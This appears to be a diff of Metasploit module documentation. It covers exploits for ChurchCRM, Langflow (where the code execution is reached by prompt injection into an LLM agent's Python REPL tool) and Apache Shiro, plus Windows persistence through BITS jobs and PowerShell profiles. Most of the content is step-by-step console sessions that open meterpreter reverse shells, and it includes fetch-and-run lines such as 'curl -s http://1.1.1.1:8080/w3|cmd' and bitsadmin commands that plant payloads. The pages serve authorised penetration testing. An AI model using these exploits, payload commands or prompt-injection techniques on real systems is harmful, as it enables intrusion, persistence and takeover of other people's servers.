USERNAME admin yes Username for the admin account
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
|
||||
all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.18.0.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 PHP (In-Memory)
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > check
|
||||
[*] Found ChurchCRM version: 6.0.2
|
||||
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.0.2 detected via CRM-VERSION header.
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > run
|
||||
[*] Started reverse TCP handler on 172.18.0.1:4444
|
||||
[*] Getting the session cookie
|
||||
[+] The session cookie has been received
|
||||
[*] Uploading the file : .htaccess
|
||||
[+] The file have been uploaded successfully
|
||||
[*] Uploading the file : LQyZQTSxhC.php
|
||||
[+] The file have been uploaded successfully
|
||||
[*] Trying to execute the payload
|
||||
[*] Sending stage (42137 bytes) to 172.18.0.2
|
||||
[+] Deleted .htaccess
|
||||
[+] Deleted LQyZQTSxhC.php
|
||||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:33138) at 2026-03-06 09:49:16 +0100
|
||||
[+] Payload successfully executed
|
||||
|
||||
meterpreter > getpid
|
||||
Current pid: 224
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : c03035cd436a
|
||||
OS : Linux c03035cd436a 6.18.13-arch1-1 #1 SMP PREEMPT_DYNAMIC Wed, 25 Feb 2026 23:12:35 +0000 x86_64
|
||||
Architecture : x64
|
||||
System Language : C
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
|
||||
### PHP (Fetch) target : ChurchCRM 6.1.0 on Ubuntu 22.04 LTS (Docker Image)
|
||||
|
||||
```bash
|
||||
msf > use exploit/multi/http/churchcrm_db_restore_rce
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
|
||||
LHOST => 172.18.0.1
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 2
|
||||
target => 2
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
|
||||
PASSWORD => Password123!
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > show options
|
||||
|
||||
Module options (exploit/multi/http/churchcrm_db_restore_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD Password123! yes Password for the admin account
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVSSL false no Negotiate SSL/TLS for local server connections
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME admin yes Username for the admin account
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
|
||||
all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.18.0.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
2 PHP (fetch)
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > check
|
||||
[*] Found ChurchCRM version: 6.1.0
|
||||
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.1.0 detected via CRM-VERSION header.
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > run
|
||||
[*] Started reverse TCP handler on 172.18.0.1:4444
|
||||
[*] Starting HTTP server to serve the payload...
|
||||
[*] Using URL: http://172.18.0.1:8080/egTqoxbjVEOA0
|
||||
[*] Getting the session cookie
|
||||
[+] The session cookie has been received
|
||||
[*] Uploading the file : .htaccess
|
||||
[+] The file have been uploaded successfully
|
||||
[*] Uploading the file : CVOdZQanyf.php
|
||||
[+] The file have been uploaded successfully
|
||||
[*] Trying to execute the payload
|
||||
[*] Sending stage (42137 bytes) to 172.18.0.2
|
||||
[+] Deleted .htaccess
|
||||
[+] Deleted CVOdZQanyf.php
|
||||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:39974) at 2026-03-06 09:56:50 +0100
|
||||
[+] Payload successfully executed
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getpid
|
||||
Current pid: 204
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 92a096dddee2
|
||||
OS : Linux 92a096dddee2 6.18.13-arch1-1 #1 SMP PREEMPT_DYNAMIC Wed, 25 Feb 2026 23:12:35 +0000 x86_64
|
||||
Architecture : x64
|
||||
System Language : C
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,186 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The CSV Agent node in Langflow hardcodes allow_dangerous_code=True,
|
||||
which automatically exposes LangChain’s Python REPL tool (python_repl_ast).
|
||||
As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection,
|
||||
leading to full Remote Code Execution (RCE).
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* Langflow < 1.8.0
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* Langflow 1.7.3 installed with Docker
|
||||
|
||||
|
||||
### Installation
|
||||
1. `git clone https://github.com/langflow-ai/langflow.git`
|
||||
|
||||
2. `git checkout 1.7.3`
|
||||
|
||||
3. `cd langflow/docker_example`
|
||||
|
||||
4. `Edit docker-compose.yml`
|
||||
```
|
||||
services:
|
||||
langflow:
|
||||
- image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow
|
||||
- pull_policy: always # set to 'always' when using 'latest' image
|
||||
+ # image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow
|
||||
+ image: langflowai/langflow:1.7.3 # or another version tag on https://hub.docker.com/r/langflowai/langflow
|
||||
+ # pull_policy: always # set to 'always' when using 'latest' image
|
||||
ports:
|
||||
- "7860:7860"
|
||||
depends_on:
|
||||
@@ -11,7 +12,7 @@ services:
|
||||
# This variable defines where the logs, file storage, monitor data and secret keys are stored.
|
||||
- LANGFLOW_CONFIG_DIR=/app/langflow
|
||||
volumes:
|
||||
- - langflow-data:/app/langflow
|
||||
+ - langflow-data:/app
|
||||
|
||||
postgres:
|
||||
image: postgres:16
|
||||
```
|
||||
|
||||
5. `docker compose up`
|
||||
|
||||
6. `On an attacker machine`
|
||||
```
|
||||
curl -fsSL https://ollama.com/install.sh | sh
|
||||
ollama run llama3.1
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/langflow_rce_cve_2026_27966`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost> ollamaapiuri=<ollamaapiuri> apikey=<apikey> model=<model>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### APIKEY (required)
|
||||
|
||||
Langflow API key to interact with Langflow.
|
||||
|
||||
### OLLAMAAPIURI (required)
|
||||
|
||||
Endpoint of the OLLAMA API controlled by an attacker.
|
||||
|
||||
### MODEL (required)
|
||||
|
||||
Valid ollama model name.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
```
|
||||
msf > use exploit/multi/http/langflow_rce_cve_2026_27966
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf exploit(multi/http/langflow_rce_cve_2026_27966) > options
|
||||
|
||||
Module options (exploit/multi/http/langflow_rce_cve_2026_27966):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
APIKEY yes Langflow API key to interact with Langflow.
|
||||
MODEL yes Valid ollama model name.
|
||||
OLLAMAAPIURI yes Endpoint of the OLLAMA API controlled by an attacker.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h, sapni, socks4, socks5, http
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 7860 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Ac
|
||||
cepted: none, python3.8+, shell-search, shell)
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_COMMAND is one of CURL,GET,WGET:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
||||
|
||||
|
||||
When FETCH_FILELESS is none:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME yVhDYYwMmZm no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payl
|
||||
oad=cmd/linux/http/x64/meterpreter_reverse_tcp target=Linux\ Command
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable.
|
||||
[*] Project: 367f399f-6f17-43a2-bea0-33183baae731
|
||||
[*] Flow: 42098574-2343-4b8a-97fe-0e2800270087
|
||||
[*] Job: 014b3154-e882-4649-9c16-5f25e4c358d9
|
||||
[*] Waiting...
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:59440) at 2026-04-18 12:31:49 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: user
|
||||
meterpreter > sysinfo
|
||||
Computer : d513d5e46402
|
||||
OS : Debian 13.3 (Linux 6.8.0-56-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### python/meterpreter/reverse_tcp
|
||||
```
|
||||
msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payload=python/meterpreter/reverse_tcp target=Python\ payload
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable.
|
||||
[*] Project: 146bfdff-95cc-4e43-b0f2-dbdaa6916401
|
||||
[*] Flow: 497484a7-6f39-4418-8113-aba0c2f57a3b
|
||||
[*] Job: 0e4282ad-bf9d-4079-891b-81a2ccb8dbe8
|
||||
[*] Waiting...
|
||||
[*] Sending stage (23404 bytes) to 192.168.56.16
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:47988) at 2026-04-18 12:48:07 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: user
|
||||
meterpreter > sysinfo
|
||||
Computer : d513d5e46402
|
||||
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
|
||||
Architecture : x64
|
||||
System Language : C
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -7,8 +7,10 @@ unauthenticated user can submit a YSoSerial payload to the Apache Shiro web
|
||||
server as the value to the `rememberMe` cookie. This will result in code
|
||||
execution in the context of the web server.
|
||||
|
||||
The YSoSerial `CommonsCollections2` payload is known to work and is the one
|
||||
leveraged by this module.
|
||||
The YSoSerial `CommonsCollections2` payload is known to work and is the
|
||||
default gadget chain used by this module. The gadget chain is configurable
|
||||
via the `JAVA_GADGET_CHAIN` option; the selected chain must be available on
|
||||
the target's classpath.
|
||||
|
||||
Note that other versions of Apache Shiro may also be exploitable if the
|
||||
encryption key used by Shiro to encrypt `rememberMe` cookies is known.
|
||||
@@ -29,9 +31,13 @@ You can use <https://github.com/Medicean/VulApps/tree/master/s/shiro/1>.
|
||||
3. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### ENC_KEY
|
||||
The encryption key the target Apache Shiro server is using to encrypt its `rememberMe` cookies.
|
||||
|
||||
### JAVA_GADGET_CHAIN
|
||||
The Java deserialization gadget chain to use. The chain must be available on the target's classpath.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on GNU/Linux x86_64 using Shiro-1.2.4
|
||||
@@ -43,15 +49,16 @@ msf exploit(multi/http/shiro_rememberme_v124_deserialize) > show options
|
||||
|
||||
Module options (exploit/multi/http/shiro_rememberme_v124_deserialize):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base directory path
|
||||
VHOST no HTTP server virtual host
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key
|
||||
JAVA_GADGET_CHAIN CommonsCollections2 yes The Java gadget chain to use for deserialization
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base directory path
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module establishes persistence by exclusively through a BITS job that
|
||||
downloads and executes a payload. Background Intelligent Transfer Service
|
||||
(BITS) is a Windows service for transferring files in the background
|
||||
using idle network bandwidth. BITS jobs are persistent and will resume
|
||||
across reboots until completed or cancelled.
|
||||
|
||||
BITS does not include a timing mechanism for when jobs are run, so we control that
|
||||
in how we respond to the HTTP requests from the BITS client. This avoids needing
|
||||
to set up an external trigger to start the job like a scheduled task or similar.
|
||||
|
||||
Similarily, BITS jobs are somewhat clock agnostic, so while we can set some
|
||||
time parameters, the aren't a guarantee of when the job will actually run.
|
||||
Jobs that we've idled via HTTP server response will have a "CONNECTING" status.
|
||||
|
||||
BITS is fickle about the HTTP responses it expects, so we have to be precise in
|
||||
how the server responds. For a HEAD request we need to send back a correct
|
||||
Content-Length header matching the payload size, but with no body. For GET requests
|
||||
we need to handle byte range requests properly (althought not always used),
|
||||
sending back the appropriate
|
||||
Content-Range headers. If we respond incorrectly BITS may error out or retry
|
||||
in unexpected ways. However, we can trick BITS into not getting the payload until
|
||||
we want by responding to the GET requests with no body (aka how we responded to
|
||||
the HEAD requests) until our delay time has reached.
|
||||
|
||||
### Debugging
|
||||
|
||||
To list bits jobs: `bitsadmin /list`
|
||||
|
||||
To get more info on a bits job: `bitsadmin /info <guid> /verbose`
|
||||
|
||||
To cancel all bits job: `bitsadmin /reset`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session on Windows
|
||||
3. Do: `use exploit/windows/persistence/bits`
|
||||
3. Do: `set session #`
|
||||
4. Do: `set srvhost <ip>`
|
||||
1. Do: `run`
|
||||
2. You should get a shell eventually
|
||||
|
||||
## Options
|
||||
|
||||
### JOB_NAME
|
||||
|
||||
The name to use for the bits job provider. (Default: random)
|
||||
|
||||
### PAYLOAD_NAME
|
||||
|
||||
Name of payload file to write. Random string as default.
|
||||
|
||||
### DELAY
|
||||
|
||||
Delay in seconds before callback. Defaults to `3600`
|
||||
|
||||
### RETRY_DELAY
|
||||
|
||||
Delay in seconds between retries. Defaults to `600`
|
||||
|
||||
## Scenarios
|
||||
Specific demo of using the module that might be useful in a real world scenario.
|
||||
|
||||
### Windows 10 1909 (10.0 Build 18363).
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
|
||||
fetch_command => CURL
|
||||
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
|
||||
fetch_pipe => true
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4450
|
||||
lport => 4450
|
||||
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
|
||||
FETCH_URIPATH => w3
|
||||
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
|
||||
FETCH_FILENAME => mkaKJBzbDB
|
||||
resource (/root/.msf4/msfconsole.rc)> to_handler
|
||||
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe
|
||||
|
||||
[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
|
||||
[*] Payload Handler Started as Job 0
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg
|
||||
[*] Adding resource /w3
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4450
|
||||
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
|
||||
[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg
|
||||
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49712) at 2026-01-01 19:33:30 -0500
|
||||
|
||||
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WIN10PROLICENSE\windows
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10PROLICENSE
|
||||
OS : Windows 10 1909 (10.0 Build 18363).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/bits
|
||||
msf exploit(windows/persistence/bits) > set session 1
|
||||
session => 1
|
||||
msf exploit(windows/persistence/bits) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(windows/persistence/bits) > set srvhost 1.1.1.1
|
||||
srvhost => 1.1.1.1
|
||||
msf exploit(windows/persistence/bits) > set srvport 80
|
||||
srvport => 80
|
||||
msf exploit(windows/persistence/bits) > set delay 200
|
||||
delay => 200
|
||||
msf exploit(windows/persistence/bits) > set retry_delay 60
|
||||
retry_delay => 60
|
||||
msf exploit(windows/persistence/bits) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf exploit(windows/persistence/bits) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Likely exploitable
|
||||
[*] Using URL: http://1.1.1.1/VkVKYnWc
|
||||
[+] Successfully created BITS job T9vesd8HA with ID Created job {E7E39BA4-D14E-4B8F-B0DF-06CCF233E28F}.
|
||||
[*] Executing: bitsadmin /addfile "T9vesd8HA" "http://1.1.1.1:80/VkVKYnWc" "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe"
|
||||
Added http://1.1.1.1:80/VkVKYnWc -> C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe to job.
|
||||
[*] Executing: bitsadmin /SetNotifyCmdLine "T9vesd8HA" "cmd.exe" "/c bitsadmin /complete \"T9vesd8HA\" && if exist \"C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe\" start /b \"\" \"C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe\"""
|
||||
notification command line set to 'cmd.exe' '/c bitsadmin /complete "T9vesd8HA" && if exist "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe" start /b "" "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe"" '.
|
||||
[*] Executing: bitsadmin /SetMinRetryDelay "T9vesd8HA" 60
|
||||
Minimum retry delay set to 60.
|
||||
[*] Executing: bitsadmin /setpriority "T9vesd8HA" high
|
||||
Priority set to HIGH.
|
||||
[*] Executing: bitsadmin /setnoprogresstimeout "T9vesd8HA" 10
|
||||
No progress timeout set to 10.
|
||||
[*] Executing: bitsadmin /resume "T9vesd8HA"
|
||||
[*] HTTP Server: HEAD /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
|
||||
[+] HTTP Server: HEAD request received, sending response
|
||||
[*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
|
||||
[*] HTTP Server: Early BITS connection, waiting till 01/01/2026 19:51:26 (198s left), sending empty body back to force a retry
|
||||
Job resumed.
|
||||
[+] Persistence installed! Payload will be downloaded to C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe when the BITS job T9vesd8HA runs.
|
||||
msf exploit(windows/persistence/bits) > [*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
|
||||
[*] HTTP Server: Sending full payload to BITS client
|
||||
[*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
|
||||
[*] HTTP Server: Sending full payload to BITS client
|
||||
[*] Sending stage (188998 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49744) at 2026-01-01 19:53:15 -0500
|
||||
```
|
||||
@@ -0,0 +1,129 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module establishes persistence by modifying a PowerShell profile script, which is automatically
|
||||
executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)
|
||||
and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a shell on Windows
|
||||
3. Do: `use exploit/windows/persistence/powershell_profile`
|
||||
4. Do: `set payload [payload]`
|
||||
5. Do: `set session #`
|
||||
6. Do: `run`
|
||||
7. You should get a shell when powershell is opened on the target machine.
|
||||
|
||||
## Options
|
||||
|
||||
### PROFILE
|
||||
|
||||
The powershell profile to target. Choices are `AUTO`, `ALLUSERSALLHOSTS`, `ALLUSERSCURRENTHOST`, `CURRENTUSERALLHOSTS`, `CURRENTUSERCURRENTHOST`.
|
||||
Defaults to `AUTO`
|
||||
|
||||
### CREATE
|
||||
|
||||
If a profile file doesnt exist, create one. Defaults to `false`
|
||||
|
||||
### EXECUTIONPOLICY
|
||||
|
||||
Attempt to update execution policy to execute. Defaults to `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 1909 (10.0 Build 18363)
|
||||
|
||||
Initial shell
|
||||
|
||||
```
|
||||
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
|
||||
[*] Using configured payload windows/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
|
||||
fetch_command => CURL
|
||||
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
|
||||
fetch_pipe => true
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4450
|
||||
lport => 4450
|
||||
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
|
||||
FETCH_URIPATH => w3
|
||||
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
|
||||
FETCH_FILENAME => mkaKJBzbDB
|
||||
resource (/root/.msf4/msfconsole.rc)> to_handler
|
||||
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/NB_U4Lr2Ty2xrjYqvzRVEg & start /B %TEMP%\mkaKJBzbDB.exe
|
||||
|
||||
[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
|
||||
[*] Payload Handler Started as Job 0
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /NB_U4Lr2Ty2xrjYqvzRVEg
|
||||
[*] Adding resource /w3
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4450
|
||||
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
|
||||
[*] Client 2.2.2.2 requested /w3
|
||||
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
|
||||
[*] Client 2.2.2.2 requested /NB_U4Lr2Ty2xrjYqvzRVEg
|
||||
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:55201) at 2026-02-04 17:06:23 -0500
|
||||
|
||||
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
|
||||
